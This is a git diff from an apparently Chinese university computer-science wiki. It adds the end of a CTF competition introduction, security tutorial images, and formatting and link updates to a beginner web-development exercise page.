如果你是一个苦于常常无人可以交流的社恐技术宅,那么你能收获最单纯最诚挚的伙伴。 +- 如果你对计算机一无所知,只是觉得计算机不错选了计算机专业,那么作为门槛最低的竞赛之一,其自然可以成为你的选择。 +- 如果你单纯想捞钱,网络安全拥有着高于计算机平均的薪资。 + +#### 劝退 + +- 不知道为什么学计算机,不想学计算机,学不下去,不建议。 +- CTF 虽然门槛低,但是学习强度非常高,学习范围非常广,就比如说,经过一年半的学习,成熟的 CTF Web 选手一般能够审计任意主流编程语言的代码,并选择一种深入挖掘。 +- CTF 竞赛强度非常高,一周甚至可能会出现需要同时打 2-3 个竞赛的情况(参加多了结算奖学金的时候就很有意思),坚持不下来的不建议。 +- CTF 非常非常重实践,没有实际复现一个漏洞而纯理论学习和比赛当场学没本质区别。 +- CTF 对自主学习能力要求很高,一是因为确实玩法多,二是由于 CTF 是允许上网查找资料的(一般也必须允许),所以经常会出现比赛过程中当场极速学习的事情。 + +总结:强度高,回报高,有且只有对技术有持续热情的人才能坚持下来。 diff --git a/6.计算机安全/static/backdoor.png b/6.计算机安全/static/backdoor.png new file mode 100644 index 0000000..5ef4558 Binary files /dev/null and b/6.计算机安全/static/backdoor.png differ diff --git a/6.计算机安全/static/gdb.png b/6.计算机安全/static/gdb.png new file mode 100644 index 0000000..c3b6081 Binary files /dev/null and b/6.计算机安全/static/gdb.png differ diff --git a/6.计算机安全/static/main.png b/6.计算机安全/static/main.png new file mode 100644 index 0000000..d28b631 Binary files /dev/null and b/6.计算机安全/static/main.png differ diff --git a/6.计算机安全/static/out1.PNG b/6.计算机安全/static/out1.PNG new file mode 100644 index 0000000..64143d7 Binary files /dev/null and b/6.计算机安全/static/out1.PNG differ diff --git a/6.计算机安全/static/out2.PNG b/6.计算机安全/static/out2.PNG new file mode 100644 index 0000000..7dfbd2d Binary files /dev/null and b/6.计算机安全/static/out2.PNG differ diff --git a/6.计算机安全/static/s.png b/6.计算机安全/static/s.png new file mode 100644 index 0000000..0f6d2ca Binary files /dev/null and b/6.计算机安全/static/s.png differ diff --git a/6.计算机安全/static/shell.png b/6.计算机安全/static/shell.png new file mode 100644 index 0000000..abf643c Binary files /dev/null and b/6.计算机安全/static/shell.png differ diff --git a/6.计算机安全/static/stack.png b/6.计算机安全/static/stack.png new file mode 100644 index 0000000..0c9242e Binary files /dev/null and b/6.计算机安全/static/stack.png differ diff --git a/6.计算机安全/static/stack2.png b/6.计算机安全/static/stack2.png new file mode 100644 index 0000000..43990e4 Binary files /dev/null and b/6.计算机安全/static/stack2.png differ diff --git a/7.网络应用开发/7.1.1.1基础部分.md b/7.网络应用开发/7.1.1.1基础部分.md index deace25..47f575f 100644 --- a/7.网络应用开发/7.1.1.1基础部分.md +++ b/7.网络应用开发/7.1.1.1基础部分.md @@ -14,8 +14,6 @@ [MDN Web 入门](https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web) -[ A friendly web development tutorial for complete beginners](https://www.internetingishard.com/html-and-css/) - [前端入门必会的初级调试技巧](https://zhuanlan.zhihu.com/p/145466139) #### JavaScript @@ -23,15 +21,15 @@ [现代 JavaScript 教程](https://zh.javascript.info/) ::: warning 🎈 -快速上手的参考建议 +**快速上手的参考建议** -HTML 可以先认知常用标签( body / div / span / a / img 等)及其常用属性 +**HTML**可以先认知常用标签(body / div / span / a / img 等)及其常用属性 -CSS 了解常见的颜色属性(字体颜色 / 背景颜色 / 边框颜色 等)、字体相关属性(字号 / 字重 / 行高 等)、盒子模型(padding / border / margin)、用于布局的属性(float / flex / grid)、单位(px / rem / em / vh / vw 等)、选择器(id 选择器 / 类选择器 等) +**CSS**了解常见的颜色属性(字体颜色 / 背景颜色 / 边框颜色 等)、字体相关属性(字号 / 字重 / 行高 等)、盒子模型(padding / border / margin)、用于布局的属性(float / flex / grid)、单位(px / rem / em / vh / vw 等)、选择器(id 选择器 / 类选择器 等) -JS 了解基本语法(变量定义 / 判断 / 循环 / 函数定义 / etc)与 DOM 操作 +**JS**了解基本语法(变量定义 / 判断 / 循环 / 函数定义 / etc)与 DOM 操作 -涉及前后端交互的部分可以了解 fetch 的使用 +涉及**前后端交互**的部分可以了解 fetch 的使用 其他诸如 HTML5 / CSS3 / ES6+ 的知识可以暂时跳过,任务要用到再查 @@ -41,17 +39,17 @@ ### 🥂 助手介绍网页的重写 -设计部姐姐给了前端部一个助手介绍网页的设计稿,但是 psyq 觉得[目前的助手介绍网页](https://site.hduhelp.com/)写得不是很还原,你可以帮 psyq 重写一个更好看的网页吗? +设计部姐姐给了前端部一个助手介绍网页的设计稿,但是 psyq 觉得[目前的助手介绍网页](https://www.hduhelp.com/)写得不是很还原,你可以帮 psyq 重写一个更好看的网页吗? 设计稿如下: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg) +![](https://cdn.xyxsw.site/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg) #### 可能需要用到的图片资源 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbigxAK5SbxiWuDHr1Ashne.png) +![](https://cdn.xyxsw.site/boxcnbigxAK5SbxiWuDHr1Ashne.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnrqddPFusKhe0vZuzXJOosg.png) +![](https://cdn.xyxsw.site/boxcnrqddPFusKhe0vZuzXJOosg.png) #### 基本要求 @@ -83,7 +81,7 @@ - 书写/引入 js 使用 ` + +# Friends + + + +--- + +# Recent Posts + + + +在GitHub上修改关注列表 diff --git a/components/Bilibili.vue b/components/Bilibili.vue new file mode 100644 index 0000000..a19860a --- /dev/null +++ b/components/Bilibili.vue @@ -0,0 +1,32 @@ +